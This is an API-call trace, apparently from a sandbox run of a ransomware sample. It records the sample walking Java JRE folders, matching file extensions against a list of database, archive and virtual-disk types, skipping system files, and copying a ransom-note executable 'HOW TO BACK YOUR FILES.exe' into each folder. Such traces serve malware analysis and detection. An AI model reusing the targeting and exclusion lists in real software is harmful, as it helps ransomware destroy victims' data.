	[0055.135] lstrcmpiW (lpString1="lah", lpString2="sdc") returned -1
	[0055.135] lstrlenW (lpString="sdf") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="sdf") returned -1
	[0055.135] lstrlenW (lpString="sis") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="sis") returned -1
	[0055.135] lstrlenW (lpString="spq") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="spq") returned -1
	[0055.135] lstrlenW (lpString="te") returned 2
	[0055.135] lstrcmpiW (lpString1="ah", lpString2="te") returned -1
	[0055.135] lstrlenW (lpString="teacher") returned 7
	[0055.135] lstrlenW (lpString="tmd") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="tmd") returned -1
	[0055.135] lstrlenW (lpString="tps") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="tps") returned -1
	[0055.135] lstrlenW (lpString="trc") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="trc") returned -1
	[0055.135] lstrlenW (lpString="trc") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="trc") returned -1
	[0055.135] lstrlenW (lpString="trm") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="trm") returned -1
	[0055.135] lstrlenW (lpString="udb") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="udb") returned -1
	[0055.135] lstrlenW (lpString="udl") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="udl") returned -1
	[0055.135] lstrlenW (lpString="usr") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="usr") returned -1
	[0055.136] lstrlenW (lpString="v12") returned 3
	[0055.136] lstrcmpiW (lpString1="lah", lpString2="v12") returned -1
	[0055.136] lstrlenW (lpString="vis") returned 3
	[0055.136] lstrcmpiW (lpString1="lah", lpString2="vis") returned -1
	[0055.136] lstrlenW (lpString="vpd") returned 3
	[0055.136] lstrcmpiW (lpString1="lah", lpString2="vpd") returned -1
	[0055.136] lstrlenW (lpString="vvv") returned 3
	[0055.136] lstrcmpiW (lpString1="lah", lpString2="vvv") returned -1
	[0055.136] lstrlenW (lpString="wdb") returned 3
	[0055.136] lstrcmpiW (lpString1="lah", lpString2="wdb") returned -1
	[0055.136] lstrlenW (lpString="wmdb") returned 4
	[0055.136] lstrcmpiW (lpString1="ulah", lpString2="wmdb") returned -1
	[0055.136] lstrlenW (lpString="wrk") returned 3
	[0055.136] lstrcmpiW (lpString1="lah", lpString2="wrk") returned -1
	[0055.136] lstrlenW (lpString="xdb") returned 3
	[0055.136] lstrcmpiW (lpString1="lah", lpString2="xdb") returned -1
	[0055.136] lstrlenW (lpString="xld") returned 3
	[0055.136] lstrcmpiW (lpString1="lah", lpString2="xld") returned -1
	[0055.136] lstrlenW (lpString="xmlff") returned 5
	[0055.136] lstrcmpiW (lpString1="eulah", lpString2="xmlff") returned -1
	[0055.136] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Center", cAlternateFileName="")) returned 1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="Apollon865.txt.exe") returned 1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2=".") returned 1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="..") returned 1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="windows") returned -1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="bootmgr") returned 1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="temp") returned -1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="pagefile.sys") returned -1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="boot") returned 1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="ids.txt") returned -1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="ntuser.dat") returned -1
	[0055.136] lstrcmpiW (lpString1="Center", lpString2="perflogs") returned -1
	[0055.137] lstrcmpiW (lpString1="Center", lpString2="MSBuild") returned -1
	[0055.137] lstrlenW (lpString="Center") returned 6
	[0055.137] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\Beulah") returned 67
	[0055.137] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Center" | out: lpString1="Center") returned="Center"
	[0055.137] lstrlenW (lpString="Center") returned 6
	[0055.137] lstrlenW (lpString="Apollon865") returned 10
	[0055.137] lstrlenW (lpString=".dll") returned 4
	[0055.137] lstrcmpiW (lpString1="Center", lpString2=".dll") returned 1
	[0055.137] lstrlenW (lpString=".lnk") returned 4
	[0055.137] lstrcmpiW (lpString1="Center", lpString2=".lnk") returned 1
	[0055.137] lstrlenW (lpString=".ini") returned 4
	[0055.137] lstrcmpiW (lpString1="Center", lpString2=".ini") returned 1
	[0055.137] lstrlenW (lpString=".sys") returned 4
	[0055.137] lstrcmpiW (lpString1="Center", lpString2=".sys") returned 1
	[0055.137] lstrlenW (lpString="Center") returned 6
	[0055.137] lstrlenW (lpString="bak") returned 3
	[0055.137] lstrcmpiW (lpString1="ter", lpString2="bak") returned 1
	[0055.137] lstrlenW (lpString="ba_") returned 3
	[0055.137] lstrcmpiW (lpString1="ter", lpString2="ba_") returned 1
	[0055.137] lstrlenW (lpString="dbb") returned 3
	[0055.137] lstrcmpiW (lpString1="ter", lpString2="dbb") returned 1
	[0055.137] lstrlenW (lpString="vmdk") returned 4
	[0055.137] lstrcmpiW (lpString1="nter", lpString2="vmdk") returned -1
	[0055.137] lstrlenW (lpString="rar") returned 3
	[0055.137] lstrcmpiW (lpString1="ter", lpString2="rar") returned 1
	[0055.137] lstrlenW (lpString="zip") returned 3
	[0055.137] lstrcmpiW (lpString1="ter", lpString2="zip") returned -1
	[0055.137] lstrlenW (lpString="tgz") returned 3
	[0055.137] lstrcmpiW (lpString1="ter", lpString2="tgz") returned -1
	[0055.137] lstrlenW (lpString="vbox") returned 4
	[0055.137] lstrcmpiW (lpString1="nter", lpString2="vbox") returned -1
	[0055.137] lstrlenW (lpString="vdi") returned 3
	[0055.137] lstrcmpiW (lpString1="ter", lpString2="vdi") returned -1
	[0055.138] lstrlenW (lpString="vhd") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="vhd") returned -1
	[0055.138] lstrlenW (lpString="vhdx") returned 4
	[0055.138] lstrcmpiW (lpString1="nter", lpString2="vhdx") returned -1
	[0055.138] lstrlenW (lpString="avhd") returned 4
	[0055.138] lstrcmpiW (lpString1="nter", lpString2="avhd") returned 1
	[0055.138] lstrlenW (lpString="db") returned 2
	[0055.138] lstrcmpiW (lpString1="er", lpString2="db") returned 1
	[0055.138] lstrlenW (lpString="db2") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="db2") returned 1
	[0055.138] lstrlenW (lpString="db3") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="db3") returned 1
	[0055.138] lstrlenW (lpString="dbf") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="dbf") returned 1
	[0055.138] lstrlenW (lpString="mdf") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="mdf") returned 1
	[0055.138] lstrlenW (lpString="mdb") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="mdb") returned 1
	[0055.138] lstrlenW (lpString="sql") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="sql") returned 1
	[0055.138] lstrlenW (lpString="sqlite") returned 6
	[0055.138] lstrlenW (lpString="sqlite3") returned 7
	[0055.138] lstrlenW (lpString="sqlitedb") returned 8
	[0055.138] lstrlenW (lpString="xml") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="xml") returned -1
	[0055.138] lstrlenW (lpString="$er") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="$er") returned 1
	[0055.138] lstrlenW (lpString="4dd") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="4dd") returned 1
	[0055.138] lstrlenW (lpString="4dl") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="4dl") returned 1
	[0055.138] lstrlenW (lpString="^^^") returned 3
	[0055.138] lstrcmpiW (lpString1="ter", lpString2="^^^") returned 1
	[0055.139] lstrlenW (lpString="abs") returned 3
	[0055.139] lstrcmpiW (lpString1="ter", lpString2="abs") returned 1
	[0055.139] lstrlenW (lpString="abx") returned 3
	[0055.139] lstrcmpiW (lpString1="ter", lpString2="abx") returned 1
	[0055.139] lstrlenW (lpString="accdb") returned 5
	[0055.139] lstrcmpiW (lpString1="enter", lpString2="accdb") returned 1
	[0055.139] lstrlenW (lpString="accdc") returned 5
	[0055.139] lstrcmpiW (lpString1="enter", lpString2="accdc") returned 1
	[0055.139] lstrlenW (lpString="accde") returned 5
	[0055.139] lstrcmpiW (lpString1="enter", lpString2="accde") returned 1
	[0055.139] lstrlenW (lpString="accdr") returned 5
	[0055.139] lstrcmpiW (lpString1="enter", lpString2="accdr") returned 1
	[0055.139] lstrlenW (lpString="accdt") returned 5
	[0055.139] lstrcmpiW (lpString1="enter", lpString2="accdt") returned 1
	[0055.139] lstrlenW (lpString="accdw") returned 5
	[0055.139] lstrcmpiW (lpString1="enter", lpString2="accdw") returned 1
	[0055.139] lstrlenW (lpString="accft") returned 5
	[0055.139] lstrcmpiW (lpString1="enter", lpString2="accft") returned 1
	[0055.139] lstrlenW (lpString="adb") returned 3
	[0055.139] lstrcmpiW (lpString1="ter", lpString2="adb") returned 1
	[0055.139] lstrlenW (lpString="adb") returned 3
	[0055.139] lstrcmpiW (lpString1="ter", lpString2="adb") returned 1
	[0055.139] lstrlenW (lpString="ade") returned 3
	[0055.139] lstrcmpiW (lpString1="ter", lpString2="ade") returned 1
	[0055.139] lstrlenW (lpString="adf") returned 3
	[0055.139] lstrcmpiW (lpString1="ter", lpString2="adf") returned 1
	[0055.139] lstrlenW (lpString="adn") returned 3
	[0055.139] lstrcmpiW (lpString1="ter", lpString2="adn") returned 1
	[0055.139] lstrlenW (lpString="adp") returned 3
	[0055.139] lstrcmpiW (lpString1="ter", lpString2="adp") returned 1
	[0055.139] lstrlenW (lpString="alf") returned 3
	[0055.139] lstrcmpiW (lpString1="ter", lpString2="alf") returned 1
	[0055.139] lstrlenW (lpString="ask") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="ask") returned 1
	[0055.140] lstrlenW (lpString="btr") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="btr") returned 1
	[0055.140] lstrlenW (lpString="cat") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="cat") returned 1
	[0055.140] lstrlenW (lpString="cdb") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="cdb") returned 1
	[0055.140] lstrlenW (lpString="ckp") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="ckp") returned 1
	[0055.140] lstrlenW (lpString="cma") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="cma") returned 1
	[0055.140] lstrlenW (lpString="cpd") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="cpd") returned 1
	[0055.140] lstrlenW (lpString="dacpac") returned 6
	[0055.140] lstrlenW (lpString="dad") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="dad") returned 1
	[0055.140] lstrlenW (lpString="dadiagrams") returned 10
	[0055.140] lstrlenW (lpString="daschema") returned 8
	[0055.140] lstrlenW (lpString="db-journal") returned 10
	[0055.140] lstrlenW (lpString="db-shm") returned 6
	[0055.140] lstrlenW (lpString="db-wal") returned 6
	[0055.140] lstrlenW (lpString="dbc") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="dbc") returned 1
	[0055.140] lstrlenW (lpString="dbs") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="dbs") returned 1
	[0055.140] lstrlenW (lpString="dbt") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="dbt") returned 1
	[0055.140] lstrlenW (lpString="dbv") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="dbv") returned 1
	[0055.140] lstrlenW (lpString="dbx") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="dbx") returned 1
	[0055.140] lstrlenW (lpString="dcb") returned 3
	[0055.140] lstrcmpiW (lpString1="ter", lpString2="dcb") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="dct") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="dcx") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="ddl") returned 1
	[0055.141] lstrcmpiW (lpString1="nter", lpString2="dlis") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="dp1") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="dqy") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="dsk") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="dsn") returned 1
	[0055.141] lstrcmpiW (lpString1="nter", lpString2="dtsx") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="dxl") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="eco") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="ecx") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="edb") returned 1
	[0055.141] lstrcmpiW (lpString1="nter", lpString2="epim") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="fcd") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="fdb") returned 1
	[0055.141] lstrcmpiW (lpString1="ter", lpString2="fic") returned 1
	[0055.142] lstrcmpiW (lpString1="ter", lpString2="fm5") returned 1
	[0055.142] lstrcmpiW (lpString1="ter", lpString2="fmp") returned 1
	[0055.142] lstrcmpiW (lpString1="enter", lpString2="fmp12") returned -1
	[0055.142] lstrcmpiW (lpString1="enter", lpString2="fmpsl") returned -1
	[0055.142] lstrcmpiW (lpString1="ter", lpString2="fol") returned 1
	[0055.142] lstrcmpiW (lpString1="ter", lpString2="fp3") returned 1
	[0055.142] lstrcmpiW (lpString1="ter", lpString2="fp4") returned 1
	[0055.142] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="New_Salem" | out: lpString1="New_Salem") returned="New_Salem"
	[0055.142] lstrlenW (lpString="New_Salem") returned 9
	[0055.142] lstrlenW (lpString="Apollon865") returned 10
	[0055.142] lstrlenW (lpString=".dll") returned 4
	[0055.142] lstrcmpiW (lpString1="New_Salem", lpString2=".dll") returned 1
	[0055.142] lstrlenW (lpString=".lnk") returned 4
	[0055.142] lstrcmpiW (lpString1="New_Salem", lpString2=".lnk") returned 1
	[0055.142] lstrlenW (lpString=".ini") returned 4
	[0055.142] lstrcmpiW (lpString1="New_Salem", lpString2=".ini") returned 1
	[0055.142] lstrlenW (lpString=".sys") returned 4
	[0055.142] lstrcmpiW (lpString1="New_Salem", lpString2=".sys") returned 1
	[0055.142] lstrlenW (lpString="New_Salem") returned 9
	[0055.142] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky"
	[0055.142] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0055.142] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0055.142] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky") returned 56
	[0055.143] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky"
	[0055.143] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.143] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.153] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.153] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38f29090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38f29090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.153] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.153] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.153] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.153] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38f29090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38f29090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.153] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.153] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.153] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.153] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.153] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f29090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x38f29090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.153] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.153] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Louisville", cAlternateFileName="LOUISV~1")) returned 1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="Apollon865.txt.exe") returned 1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2=".") returned 1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="..") returned 1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="windows") returned -1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="bootmgr") returned 1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="temp") returned -1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="pagefile.sys") returned -1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="boot") returned 1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="ids.txt") returned 1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="ntuser.dat") returned -1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="perflogs") returned -1
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2="MSBuild") returned -1
	[0055.154] lstrlenW (lpString="Louisville") returned 10
	[0055.154] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\*") returned 58
	[0055.154] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Louisville" | out: lpString1="Louisville") returned="Louisville"
	[0055.154] lstrlenW (lpString="Louisville") returned 10
	[0055.154] lstrlenW (lpString="Apollon865") returned 10
	[0055.154] lstrlenW (lpString=".dll") returned 4
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2=".dll") returned 1
	[0055.154] lstrlenW (lpString=".lnk") returned 4
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2=".lnk") returned 1
	[0055.154] lstrlenW (lpString=".ini") returned 4
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2=".ini") returned 1
	[0055.154] lstrlenW (lpString=".sys") returned 4
	[0055.154] lstrcmpiW (lpString1="Louisville", lpString2=".sys") returned 1
	[0055.154] lstrlenW (lpString="Louisville") returned 10
	[0055.154] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Monticello" | out: lpString1="Monticello") returned="Monticello"
	[0055.154] lstrlenW (lpString="Monticello") returned 10
	[0055.154] lstrlenW (lpString="Apollon865") returned 10
	[0055.155] lstrlenW (lpString=".dll") returned 4
	[0055.155] lstrcmpiW (lpString1="Monticello", lpString2=".dll") returned 1
	[0055.155] lstrlenW (lpString=".lnk") returned 4
	[0055.155] lstrcmpiW (lpString1="Monticello", lpString2=".lnk") returned 1
	[0055.155] lstrlenW (lpString=".ini") returned 4
	[0055.155] lstrcmpiW (lpString1="Monticello", lpString2=".ini") returned 1
	[0055.155] lstrlenW (lpString=".sys") returned 4
	[0055.155] lstrcmpiW (lpString1="Monticello", lpString2=".sys") returned 1
	[0055.155] lstrlenW (lpString="Monticello") returned 10
	[0055.155] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana"
	[0055.155] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0055.155] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0055.155] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana") returned 55
	[0055.155] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana"
	[0055.155] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.155] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.162] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.162] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38f29090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38f29090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.163] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.163] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.163] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.163] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38f29090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38f29090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.163] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.163] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.163] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.163] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.163] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f29090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x38f29090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.163] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.163] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x364, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indianapolis", cAlternateFileName="INDIAN~1")) returned 1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="Apollon865.txt.exe") returned 1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2=".") returned 1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="..") returned 1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="windows") returned -1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="bootmgr") returned 1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="temp") returned -1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="pagefile.sys") returned -1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="boot") returned 1
	[0055.163] lstrcmpiW (lpString1="Indianapolis", lpString2="ids.txt") returned 1
